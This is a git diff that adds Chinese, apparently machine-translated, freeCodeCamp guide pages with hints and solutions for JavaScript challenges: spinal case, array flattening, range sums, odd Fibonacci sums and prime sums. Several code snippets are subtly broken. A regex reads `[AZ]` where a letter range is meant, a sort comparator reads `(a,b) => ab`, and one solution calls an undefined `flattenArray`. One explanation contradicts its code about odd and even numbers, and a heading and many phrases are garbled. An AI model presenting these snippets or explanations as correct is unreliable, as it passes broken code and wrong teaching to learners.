+*   [JS Array Prototype Join](http://forum.freecodecamp.com/t/javascript-array-prototype-join/14292)
+
+## ![:rotating_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/rotating_light.png?v=3 "：rotating_light：")高级代码解决方案
+```
+function spinalCase(str) { 
+  // "It's such a fine line between stupid, and clever." 
+  // --David St. Hubbins 
+ 
+  return str.split(/\s|_|(?=[AZ])/).join('-').toLowerCase() 
+ } 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 "：火箭：") [运行代码](https://repl.it/EUZV)
+
+### 代码说明：
+
+*   在以下条件之一拆分字符串（ _转换为数组_ ）
+    *   遇到空白字符\[ `\s` \]
+    *   遇到下划线字符\[ `_` \]
+    *   或后跟大写字母\[ `(?=[AZ])` \]
+*   使用连字符（ `-` ）加入数组
+*   小写整个结果字符串
+
+#### 相关链接
+
+*   [串＃分裂](http://devdocs.io/javascript/global_objects/string/split)
+*   [正则表达式](http://devdocs.io/javascript/global_objects/regexp)
+*   [Arrray＃加盟](http://devdocs.io/javascript/global_objects/array/join)
+*   [串＃toLowerCase](http://devdocs.io/javascript/global_objects/string/tolowercase)
+
+## ![:clipboard:](https://forum.freecodecamp.com/images/emoji/emoji_one/clipboard.png?v=3 "：剪贴板：")捐款说明：
+
+*   ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 "：警告：") **请勿**添加与任何现有解决方案类似的解决方案。如果您认为它**_相似但更好_** ，那么尝试合并（或替换）现有的类似解决方案。
+*   添加解决方案的说明。
+*   将解决方案分为以下类别之一 - **基本** ， **中级**和**高级** 。 ![:traffic_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/traffic_light.png?v=3 "：红绿灯：")
+*   如果您添加了任何**相关的主要内容，**请仅添加您的用户名。 （ ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 "：警告：") **_不要_** _删除任何现有的用户名_ ）
+
+> 看到![:point_right:](https://forum.freecodecamp.com/images/emoji/emoji_one/point_right.png?v=3 "：point_right：") [**`Wiki Challenge Solution Template`**](http://forum.freecodecamp.com/t/algorithm-article-template/14272)供参考。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/intermediate-algorithm-scripting/steamroller/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/intermediate-algorithm-scripting/steamroller/index.md
new file mode 100644
index 0000000000..c31fdb0c04
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/intermediate-algorithm-scripting/steamroller/index.md
@@ -0,0 +1,138 @@
+---
+title: Steamroller
+localeTitle: 压路机
+---
+![:triangular_flag_on_post:](https://forum.freecodecamp.com/images/emoji/emoji_one/triangular_flag_on_post.png?v=3 "：triangular_flag_on_post：")如果卡住，请记得使用**`Read-Search-Ask`** 。尝试配对程序![:busts_in_silhouette:](https://forum.freecodecamp.com/images/emoji/emoji_one/busts_in_silhouette.png?v=3 "：busts_in_silhouette：")并编写自己的代码![:pencil:](https://forum.freecodecamp.com/images/emoji/emoji_one/pencil.png?v=3 "：铅笔：")
+
+### ![:checkered_flag:](https://forum.freecodecamp.com/images/emoji/emoji_one/checkered_flag.png?v=3 "：checkered_flag：")问题说明：
+
+这个问题看起来很简单，但你需要确保扁平化任何数组，无论级别是什么，这会给问题增加一些难度。
+
+#### 相关链接
+
+*   [Array.isArray（）](http://forum.freecodecamp.com/t/javascript-array-isarray/14284)
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 "：speech_balloon：")提示：1
+
+您需要检查元素是否是数组。
+
+> _现在尝试解决问题_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 "：speech_balloon：")提示：2
+
+如果您正在处理数组，那么您需要通过获取数组内的值来展平它。这意味着如果你有[\[4\]然后而不是返回\[4\]你需要返回4.如果你得到\[\[\[4\]\]\]那么相同，你想要4.你可以用arr \[index1\]访问它\[index2\]更深层次。](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ":speech_balloon:")
+
+> _现在尝试解决问题_
+
+## ！\[：speech\_balloon：提示：3
+
+您肯定需要递归或其他方式来超越两级数组，以使代码灵活，而不是硬编码到所需的答案。玩的开心！
+
+> _现在尝试解决问题_
+
+## 扰流警报！
+
+![警告牌](//discourse-user-assets.s3.amazonaws.com/original/2X/2/2d6c412a50797771301e7ceabd554cef4edcd74d.gif)
+
+**提前解决！**
+
+## ![:beginner:](https://forum.freecodecamp.com/images/emoji/emoji_one/beginner.png?v=3 "：初学者：")基本代码解决方案
+```
+function steamrollArray(arr) { 
+  var flattenedArray = []; 
+ 
+  // Create function that adds an element if it is not an array. 
+  // If it is an array, then loops through it and uses recursion on that array. 
+  var flatten = function(arg) { 
+    if (!Array.isArray(arg)) { 
+      flattenedArray.push(arg); 
+    } else { 
+      for (var a in arg) { 
+        flatten(arg[a]); 
+      } 
+    } 
+  }; 
+ 
+  // Call the function for each element in the array 
+  arr.forEach(flatten); 
+  return flattenedArray; 
+ } 
+ 
+ // test here 
+ steamrollArray([1, [2], [3, [[4]]]]); 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 "：火箭：") [运行代码](https://repl.it/CLnh/0)
+
+### 代码说明：
+
+*   创建一个新变量以保持展平的数组。
+*   创建一个将非数组元素添加到新变量的函数，对于那些数组，它循环遍历它们以获取元素。
+*   它通过使用递归来实现，如果元素是一个数组，那么再次使用一层数组调用该函数来检查它是否是一个数组。如果不是那么将非数组元素推送到返回的变量。否则，继续深入。
+*   调用该函数，第一次总是将它传递给一个数组，因此它总是落入isArray分支
+*   返回展平的数组。
+
+#### 相关链接
+
+*   [的Array.push（）](http://forum.freecodecamp.com/t/javascript-array-prototype-push/14298)
+*   [Array.forEach（）](http://forum.freecodecamp.com/t/javascript-array-prototype-foreach/14290)
+
+## ![:sunflower:](https://forum.freecodecamp.com/images/emoji/emoji_one/sunflower.png?v=3 "：向日葵：")中级代码解决方案：
+```
+function steamrollArray(arr) { 
+  let flat = [].concat(...arr); 
+  return flat.some(Array.isArray) ? steamrollArray(flat) : flat; 
+ } 
+ 
+ flattenArray([1, [2], [3, [[4]]]]); 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 "：火箭：") [运行代码](https://repl.it/CLni/0)
+
+### 代码说明：
+
+*   使用spread运算符将`arr`每个元素与一个空数组连接起来
+*   使用`Array.some()`方法查明新数组是否仍包含数组
+*   如果是这样，再次使用递归调用`steamrollArray` ，传入新数组以在深度嵌套的数组上重复该过程
+*   如果没有，则返回展平的阵列
+
+#### 相关链接
+
+*   [Array.some](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/some)
+*   [Array.concat](http://forum.freecodecamp.com/t/javascript-array-prototype-concat/14286)
+*   [传播运营商](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Spread_operator)
+*   [三元算子（ `condition ? a : b` ）](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Conditional_Operator)
+
+## ![:rotating_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/rotating_light.png?v=3 "：rotating_light：")高级代码解决方案
+```
+function steamrollArray(arr) { 
+  return arr.toString() 
+    .replace(',,', ',')       // "1,2,,3" => "1,2,3" 
+    .split(',')               // ['1','2','3'] 
+    .map(function(v) { 
+      if (v == '[object Object]') { // bring back empty objects 
+        return {}; 
+      } else if (isNaN(v)) {        // if not a number (string) 
+        return v; 
+      } else { 
+        return parseInt(v);         // if a number in a string, convert it 
+      } 
+    }); 
+ } 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 "：火箭：") [运行代码](https://repl.it/CpDy/4)
+
+### 代码说明：
+
+*   首先，我们将数组转换为一个字符串，它将为我们提供一个由逗号分隔的数字字符串，如果有空数组，则为双逗号;如果有对象，则为文字对象文本，我们稍后可以在if语句中修复它。
+*   我们用一个替换双逗号，然后将它分成一个数组。
+*   映射数组并修复对象值并将字符串数转换为常规数。
+
+## ![:clipboard:](https://forum.freecodecamp.com/images/emoji/emoji_one/clipboard.png?v=3 "：剪贴板：")捐款说明：
+
+*   ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 "：警告：") **请勿**添加与任何现有解决方案类似的解决方案。如果您认为它**_相似但更好_** ，那么尝试合并（或替换）现有的类似解决方案。
+*   添加解决方案的说明。
+*   将解决方案分为以下类别之一 - **基本** ， **中级**和**高级** 。 ![:traffic_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/traffic_light.png?v=3 "：红绿灯：")
+
+> 看到![:point_right:](https://forum.freecodecamp.com/images/emoji/emoji_one/point_right.png?v=3 "：point_right：") [**`Wiki Challenge Solution Template`**](http://forum.freecodecamp.com/t/algorithm-article-template/14272)供参考。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/intermediate-algorithm-scripting/sum-all-numbers-in-a-range/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/intermediate-algorithm-scripting/sum-all-numbers-in-a-range/index.md
new file mode 100644
index 0000000000..3e8646383d
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/intermediate-algorithm-scripting/sum-all-numbers-in-a-range/index.md
@@ -0,0 +1,132 @@
+---
+title: Sum All Numbers in a Range
+localeTitle: 求和范围中的所有数字
+---
+![:triangular_flag_on_post:](https://forum.freecodecamp.com/images/emoji/emoji_one/triangular_flag_on_post.png?v=3 "：triangular_flag_on_post：")如果卡住，请记得使用**`Read-Search-Ask`** 。尝试配对程序![:busts_in_silhouette:](https://forum.freecodecamp.com/images/emoji/emoji_one/busts_in_silhouette.png?v=3 "：busts_in_silhouette：")并编写自己的代码![:pencil:](https://forum.freecodecamp.com/images/emoji/emoji_one/pencil.png?v=3 "：铅笔：")
+
+### ![:checkered_flag:](https://forum.freecodecamp.com/images/emoji/emoji_one/checkered_flag.png?v=3 "：checkered_flag：")问题说明：
+
+您需要创建一个程序，该程序将采用两个不一定排序的数字的数组，然后不仅添加这些数字，而且还添加其间的任何数字。例如，\[3,1\]将与`1+2+3` ，而不仅仅是`3+1`
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 "：speech_balloon：")提示：1
+
+使用`Math.max()`查找两个数字的最大值。
+
+> _现在尝试解决问题_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 "：speech_balloon：")提示：2
+
+使用`Math.min()`查找两个数字的最小值。
+
+> _现在尝试解决问题_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 "：speech_balloon：")提示：3
+
+请记住，您必须在中间添加所有数字，这样才能获得这些数字。
+
+> _现在尝试解决问题_
+
+## 扰流警报！
+
+![警告牌](//discourse-user-assets.s3.amazonaws.com/original/2X/2/2d6c412a50797771301e7ceabd554cef4edcd74d.gif)
+
+**提前解决！**
+
+## ![:beginner:](https://forum.freecodecamp.com/images/emoji/emoji_one/beginner.png?v=3 "：初学者：")基本代码解决方案
+```
+function sumAll(arr) { 
+    var max = Math.max(arr[0], arr[1]); 
+    var min = Math.min(arr[0], arr[1]); 
+    var temp = 0; 
+    for (var i=min; i <= max; i++){ 
+        temp += i; 
+    } 
+  return(temp); 
+ } 
+ 
+ sumAll([1, 4]); 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 "：火箭：") [运行代码](https://repl.it/CLm6/0)
+
+### 代码说明：
+
+*   首先创建一个变量来存储两个之间的最大数量。
+*   与最小数字相同。
+*   我们创建一个临时变量来添加数字。
+
+由于数字可能并不总是有序，因此使用`max()`和`min()`将有助于组织。
+
+#### 相关链接
+
+*   [Math.max（）](http://forum.freecodecamp.com/t/javascript-math-max/14682)
+*   [Math.min（）](http://forum.freecodecamp.com/t/javascript-math-min/14684)
+*   [对于循环](http://forum.freecodecamp.com/t/javascript-for-loop/14666)
+
+## ![:sunflower:](https://forum.freecodecamp.com/images/emoji/emoji_one/sunflower.png?v=3 "：向日葵：")中级代码解决方案：
+```
+function sumAll(arr) { 
+  // Buckle up everything to one! 
+ 
+  // Using ES6 arrow function (one-liner) 
+  var sortedArr = arr.sort((a,b) => ab); 
+  var firstNum = arr[0]; 
+  var lastNum = arr[1]; 
+  // Using Arithmetic Progression summing formula 
+ 
+  var sum = (lastNum - firstNum + 1) * (firstNum + lastNum) / 2; 
+  return sum; 
+ } 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 "：火箭：") [运行代码](https://repl.it/CLm7/0)
+
+### 代码说明：
+
+*   首先，我们创建一个名为`sortedArr`的变量，该变量将其从最低值到最高值进行排序。
+*   `firstNum`等于第一个数字， `lastNum`等于第二个数字。
+*   接下来，使用Arithmetic Progression求和公式，我们`sum` `(lastNum - firstNum + 1) * (firstNum + lastNum) / 2` 。
+*   最后，我们返回`sum` 。
+
+line `var sortedArr = arr.sort((a,b) => ab);`可能会让你更加困惑的是什么。这与创建一个为`sort()`返回`ab`的函数相同， `sort()`是从最小到最大排序数字的标准方法。相反，使用箭头或胖箭头功能，我们能够在一行中完成所有这些操作，从而允许我们减少写入。
+
+#### 相关链接
+
+*   [中的Array.sort（）](http://forum.freecodecamp.com/t/javascript-array-prototype-sort/14306)
+*   [算术级数求和公式](https://en.wikipedia.org/wiki/Arithmetic_progression#Sum)
+*   [ES6箭头功能](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/Arrow_functions)
+
+## ![:rotating_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/rotating_light.png?v=3 "：rotating_light：")高级代码解决方案
+```
+function sumAll(arr) { 
+    var sum = 0; 
+    for (var i = Math.min(...arr); i <= Math.max(...arr); i++){ 
+        sum += i; 
+    } 
+  return sum; 
+ } 
+ 
+ sumAll([1, 4]); 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 "：火箭：") [运行代码](https://repl.it/CLm8/0)
+
+### 代码说明：
+
+*   创建变量sum以存储元素的总和。
+*   从给定数组的min元素开始迭代循环，并在到达max元素时停止。
+*   使用扩展运算符（... arr）允许将实际数组传递给函数而不是逐个元素。
+
+#### 相关链接
+
+*   [传播运营商](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Spread_operator)
+*   [在Math.max中使用Spread运算符（）](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/max)
+
+## ![:clipboard:](https://forum.freecodecamp.com/images/emoji/emoji_one/clipboard.png?v=3 "：剪贴板：")捐款说明：
+
+*   ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 "：警告：") **请勿**添加与任何现有解决方案类似的解决方案。如果您认为它**_相似但更好_** ，那么尝试合并（或替换）现有的类似解决方案。
+*   添加解决方案的说明。
+*   将解决方案分为以下类别之一 - **基本** ， **中级**和**高级** 。 ![:traffic_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/traffic_light.png?v=3 "：红绿灯：")
+*   如果您添加了任何**相关的主要内容，**请仅添加您的用户名。 （ ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 "：警告：") **_不要_** _删除任何现有的用户名_ ）
+
+> 看到![:point_right:](https://forum.freecodecamp.com/images/emoji/emoji_one/point_right.png?v=3 "：point_right：") [**`Wiki Challenge Solution Template`**](http://forum.freecodecamp.com/t/algorithm-article-template/14272)供参考。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/intermediate-algorithm-scripting/sum-all-odd-fibonacci-numbers/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/intermediate-algorithm-scripting/sum-all-odd-fibonacci-numbers/index.md
new file mode 100644
index 0000000000..6a225b8b1b
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/intermediate-algorithm-scripting/sum-all-odd-fibonacci-numbers/index.md
@@ -0,0 +1,124 @@
+---
+title: Sum All Odd Fibonacci Numbers
+localeTitle: 求所有奇数斐波纳契数
+---
+![:triangular_flag_on_post:](https://forum.freecodecamp.com/images/emoji/emoji_one/triangular_flag_on_post.png?v=3 "：triangular_flag_on_post：")如果卡住，请记得使用**`Read-Search-Ask`** 。尝试配对程序![:busts_in_silhouette:](https://forum.freecodecamp.com/images/emoji/emoji_one/busts_in_silhouette.png?v=3 "：busts_in_silhouette：")并编写自己的代码![:pencil:](https://forum.freecodecamp.com/images/emoji/emoji_one/pencil.png?v=3 "：铅笔：")
+
+### ![:checkered_flag:](https://forum.freecodecamp.com/images/emoji/emoji_one/checkered_flag.png?v=3 "：checkered_flag：")问题说明：
+
+您将需要收集所有**Fibonacci**数字，然后检查奇数。一旦你得到奇怪的，那么你将把它们全部添加。最后一个数字应该是作为参数给出的数字，如果它实际上恰好是一个偏离的斐波纳契数。
+
+#### 相关链接
+
+*   [斐波纳契数](https://en.wikipedia.org/wiki/Fibonacci_number)
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 "：speech_balloon：")提示：1
+
+要获得系列的下一个数字，您需要将当前的数字添加到前一个系列，这将为您提供下一个系列。
+
+> _现在尝试解决问题_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 "：speech_balloon：")提示：2
+
+要检查数字是否均匀，您需要检查的是`number % 2 == 0` 。
+
+> _现在尝试解决问题_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 "：speech_balloon：")提示：3
+
+当你得到下一个奇怪的那个时，不要忘记将它添加到一个可以在最后返回的全局变量。 `result += currNumber;`会做的伎俩。
+
+> _现在尝试解决问题_
+
+## 扰流警报！
+
+![警告牌](//discourse-user-assets.s3.amazonaws.com/original/2X/2/2d6c412a50797771301e7ceabd554cef4edcd74d.gif)
+
+**提前解决！**
+
+## ![:beginner:](https://forum.freecodecamp.com/images/emoji/emoji_one/beginner.png?v=3 "：初学者：")基本代码解决方案
+```
+function sumFibs(num) { 
+    var prevNumber = 0; 
+    var currNumber = 1; 
+    var result = 0; 
+    while (currNumber <= num) { 
+        if (currNumber % 2 !== 0) { 
+            result += currNumber; 
+        } 
+ 
+        currNumber += prevNumber; 
+        prevNumber = currNumber - prevNumber; 
+    } 
+ 
+    return result; 
+ } 
+ 
+ // test here 
+ sumFibs(4); 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 "：火箭：") [运行代码](https://repl.it/CLnV/0)
+
+### 代码说明：
+
+*   创建一个变量以记录当前和之前的数字以及将返回的结果。
+*   使用while循环确保我们不会超过作为参数给出的数字。
+*   我们使用模运算来检查当前数字是奇数还是偶数。如果是偶数，请将其添加到结果中。
+*   通过旋转获取下一个数字并在之后交换值来完成斐波纳契圆。
+*   返回结果。
+
+#### 相关链接
+
+*   JS while Loop
+
+## ![:sunflower:](https://forum.freecodecamp.com/images/emoji/emoji_one/sunflower.png?v=3 "：向日葵：")中级代码解决方案：
+```
+function sumFibs(num) { 
+    // Perform checks for the validity of the input 
+    if (num < 0) return -1; 
+    if (num === 0 || num === 1) return 1; 
+ 
+    // Create an array of fib numbers till num 
+    const arrFib = [1, 1]; 
+    let nextFib = 0; 
+ 
+    // We put the new Fibonacci numbers to the front so we 
+    // don't need to calculate the length of the array on each 
+    // iteration 
+    while((nextFib = arrFib[0] + arrFib[1]) <= num) { 
+        arrFib.unshift(nextFib); 
+    } 
+ 
+    // Sum only the odd numbers and return the value 
+    return arrFib.reduce((acc, curr) => { 
+        return acc + curr * (curr % 2); 
+    }); 
+ } 
+ 
+ // test here 
+ sumFibs(4); 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 "：火箭：") [运行代码](https://repl.it/@kr3at0/SumAllOddFibonacciNumbers)
+
+### 代码说明：
+
+*   创建一个斐波纳契数列，直到**num** 。
+*   使用`reduce()`方法查找数组奇数成员的总和。
+*   归还总和。
+
+#### 相关链接
+
+*   [JS阵列原型推送](http://forum.freecodecamp.com/t/javascript-array-prototype-push/14298)
+*   [JS for Loops解释](http://forum.freecodecamp.com/t/javascript-for-loop/14666s-Explained)
+*   [JS Array Prototype Reduce](http://forum.freecodecamp.com/t/javascript-array-prototype-reduce/14299)
+
+## ![:clipboard:](https://forum.freecodecamp.com/images/emoji/emoji_one/clipboard.png?v=3 "：剪贴板：")捐款说明：
+
+*   ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 "：警告：") **请勿**添加与任何现有解决方案类似的解决方案。如果您认为它**_相似但更好_** ，那么尝试合并（或替换）现有的类似解决方案。
+*   添加解决方案的说明。
+*   将解决方案分为以下类别之一 - **基本** ， **中级**和**高级** 。 ![:traffic_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/traffic_light.png?v=3 "：红绿灯：")
+*   如果您添加了任何**相关的主要内容，**请仅添加您的用户名。 （ ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 "：警告：") **_不要_** _删除任何现有的用户名_ ）
+
+> 看到![:point_right:](https://forum.freecodecamp.com/images/emoji/emoji_one/point_right.png?v=3 "：point_right：") [**`Wiki Challenge Solution Template`**](http://forum.freecodecamp.com/t/algorithm-article-template/14272)供参考。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/intermediate-algorithm-scripting/sum-all-primes/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/intermediate-algorithm-scripting/sum-all-primes/index.md
new file mode 100644
index 0000000000..b7481e5c09
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/intermediate-algorithm-scripting/sum-all-primes/index.md
@@ -0,0 +1,180 @@
+---
+title: Sum All Primes
+localeTitle: Sum All Primes
+---
+![:triangular_flag_on_post:](https://forum.freecodecamp.com/images/emoji/emoji_one/triangular_flag_on_post.png?v=3 "：triangular_flag_on_post：")如果卡住，请记得使用**`Read-Search-Ask`** 。尝试配对程序![:busts_in_silhouette:](https://forum.freecodecamp.com/images/emoji/emoji_one/busts_in_silhouette.png?v=3 "：busts_in_silhouette：")并编写自己的代码![:pencil:](https://forum.freecodecamp.com/images/emoji/emoji_one/pencil.png?v=3 "：铅笔：")
+
+### ![:checkered_flag:](https://forum.freecodecamp.com/images/emoji/emoji_one/checkered_flag.png?v=3 "：checkered_flag：")问题说明：
+
+这个问题的解释非常简单。您将生成一个素数列表，最多为您作为参数给出的数字。然后你需要将它们全部添加并返回该值。棘手的部分是生成素数列表。我建议你找一个代码或一个好的数学算法，你可以把它变成代码。
+
+#### 相关链接
+
+*   [质数](https://en.wikipedia.org/wiki/Prime_number)
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 "：speech_balloon：")提示：1
+
+生成所有数字的列表，包括您作为参数获得的数字。这将需要确定哪些数字是素数。
+
+> _现在尝试解决问题_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 "：speech_balloon：")提示：2
+
+如果您希望找到寻找素数的解决方案，或者尝试学习并实施您自己[的Eratosthenes筛，](https://en.wikipedia.org/wiki/Sieve_of_Eratosthenes)请查看此[链接](https://stackoverflow.com/questions/11966520/how-to-find-prime-numbers-between-0-100)
+
+> _现在尝试解决问题_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 "：speech_balloon：")提示：3
+
+如果你必须创建自己的代码来检查质数，这个问题很难，所以如果你不得不使用某人的代码，那就不要感到难过。无论哪种方式，你最有可能使用数组，所以一旦你生成了一个素数数组，那么只需将它们全部添加并返回你得到的数字。
+
+> _现在尝试解决问题_
+
+## 扰流警报！
+
+![警告牌](//discourse-user-assets.s3.amazonaws.com/original/2X/2/2d6c412a50797771301e7ceabd554cef4edcd74d.gif)
+
+**提前解决！**
+
+## ![:beginner:](https://forum.freecodecamp.com/images/emoji/emoji_one/beginner.png?v=3 "：初学者：")基本代码解决方案
+```
+function sumPrimes(num) { 
+  var res = 0; 
+ 
+  // Function to get the primes up to max in an array 
+  function getPrimes(max) { 
+    var sieve = []; 
+    var i; 
+    var j; 
+    var primes = []; 
+    for (i = 2; i <= max; ++i) { 
+      if (!sieve[i]) { 
+        // i has not been marked -- it is prime 
+        primes.push(i); 
+        for (j = i << 1; j <= max; j += i) { 
+          sieve[j] = true; 
+        } 
+      } 
+    } 
+ 
+    return primes; 
+  } 
+ 
+  // Add the primes 
+  var primes = getPrimes(num); 
+  for (var p = 0; p < primes.length; p++) { 
+    res += primes[p]; 
+  } 
+ 
+  return res; 
+ } 
+ 
+ // test here 
+ sumPrimes(10); 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 "：火箭：") [运行代码](https://repl.it/CLnZ/0)
+
+### 代码说明：
+
+*   创建一个生成从1到**num**的数字的函数，并检查它们是否是沿途的素数。
+*   声明将需要的变量。
+*   从2开始，如果它没有被标记并添加到筛子阵列那么它是素数并且我们将它添加到素数阵列。
+*   将其他人添加到筛子阵列中。
+*   返回素数
+*   循环返回的数组并添加所有元素然后返回最终值。
+
+#### 相关链接
+
+*   [JS for Loops解释](https://forum.freecodecamp.com/t/javascript-for-loop/14666s-Explained)
+
+## ![:sunflower:](https://forum.freecodecamp.com/images/emoji/emoji_one/sunflower.png?v=3 "：向日葵：")中级代码解决方案：
+```
+function sumPrimes(num) { 
+  // function to check if the number presented is prime 
+  function isPrime(number){ 
+      for (i = 2; i <= number; i++){ 
+          if(number % i === 0 && number!= i){ 
+          // return true if it is divisible by any number that is not itself. 
+             return false; 
+          } 
+       } 
+       // if it passes the for loops conditions it is a prime 
+      return true; 
+  } 
+  // 1 is not a prime, so return nothing, also stops the recursive calls. 
+  if (num === 1){ 
+    return 0; 
+  } 
+  // Check if your number is not prime 
+  if(isPrime(num) === false){ 
+  // for non primes check the next number down from your maximum number, do not add anything to your answer 
+    return sumPrimes(num - 1); 
+  } 
+ 
+  // Check if your number is prime 
+  if(isPrime(num) === true){ 
+  // for primes add that number to the next number in the sequence through a recursive call to our sumPrimes function. 
+    return num + sumPrimes(num - 1); 
+  } 
+ } 
+ // test here 
+ sumPrimes(10); 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 "：火箭：") [运行代码](https://repl.it/CLn0/0)
+
+### 代码说明：
+
+*   函数`isPrime`检查特定数字是否为素数。
+*   如果`num`为1，则返回0，因为1不是素数。
+*   如果**num**不是prime，请从最大数字开始检查下一个数字。
+*   如果**num**是prime，则通过递归到`sumPrimes`函数将其添加到序列中的下一个数字。
+
+#### 相关链接
+
+*   [函数 - 递归](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Functions#Recursion)
+
+## ![:rotating_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/rotating_light.png?v=3 "：rotating_light：")高级代码解决方案
+```
+function sumPrimes(num) { 
+  // step 1 
+  let arr = Array.from({length: num+1}, (v, k) => k).slice(2); 
+  // step 2 
+  let onlyPrimes = arr.filter( (n) => { 
+    let m = n-1; 
+    while (m > 1 && m >= Math.sqrt(n)) { 
+      if ((n % m) === 0) 
+        return false; 
+        m--; 
+    } 
+      return true; 
+  }); 
+  // step 3 
+  return onlyPrimes.reduce((a,b) => a+b); 
+ } 
+ // test here 
+ sumPrimes(977); 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 "：火箭：") [运行代码](https://repl.it/DoOo/3)
+
+### 代码说明：
+
+*   **步骤1：**使用`Array.from()`生成一系列数字，包括`num` 。与`.slice()`组合以`.slice()`前两个索引`[0, 1]`因为所有素数必须大于1。
+*   **步骤2：**滤出的所有数字`arr`是不是素数由每个元件经受的_“试除法测试”，_其_“包括由每个整数米大于1且小于或等于n的平方根除以n个“_ 。如果任何小于正在操作的元素（m）的数字在所述元素（n）除以它时不产生余数，则该测试返回`false` 。有关详细信息，请参阅下面的链接。
+*   **第3步：**使用`.reduce()`返回arr的所有剩余元素的总和。
+
+### 相关链接
+
+*   [试验分部测试](https://en.wikipedia.org/wiki/Prime_number#Trial_division)
+*   [Array.from（）](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/from#Examples)
+*   [Array.filter（）](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/filter)
+
+## ![:clipboard:](https://forum.freecodecamp.com/images/emoji/emoji_one/clipboard.png?v=3 "：剪贴板：")捐款说明：
+
+*   ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 "：警告：") **请勿**添加与任何现有解决方案类似的解决方案。如果您认为它**_相似但更好_** ，那么尝试合并（或替换）现有的类似解决方案。
+*   添加解决方案的说明。
+*   将解决方案分为以下类别之一 - **基本** ， **中级**和**高级** 。 ![:traffic_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/traffic_light.png?v=3 "：红绿灯：")
+
